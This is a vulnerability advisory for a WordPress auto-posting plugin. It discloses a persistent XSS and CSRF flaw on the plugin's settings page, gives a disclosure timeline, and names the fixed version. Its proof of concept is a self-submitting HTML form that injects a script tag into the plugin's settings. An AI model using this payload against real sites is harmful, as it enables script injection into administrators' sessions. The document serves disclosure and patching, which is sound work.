NextScripts: Social Networks Auto-Poster 3.4.17, Persistent XSS
The NextScripts: Social Networks Auto-Poster plugin for WordPress is vulnerable to a Persistent XSS attack on the settings screen, due to a lack of sanitation of user input, and lack of CSRF token (nonce)
Update to version 3.4.18.
Proof of Concept
If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.
<form id="form" method="POST" action="http://localhost/wp-admin/options-general.php?page=NextScripts_SNAP.php"> <input type="hidden" name="nxsMainFromElementAccts" value="wp[nName]=<script>alert(1)</script>&wp[apWPURL]=&wp[apWPUName]=1&wp[apWPPass]=1&wp[apDoWP]=1&wp[apWPMsgTFrmt]=&wp[apWPMsgFrmt]="/> </form> <script> document.getElementById("form").submit(); </script>
- 2015-05-18: Discovered
- 2015-05-18: Vendor notified
- 2015-05-18: Vendor responded
- 2015-05-18: Version 3.4.18 released – issue resolved
- 2015-05-25: Advisory released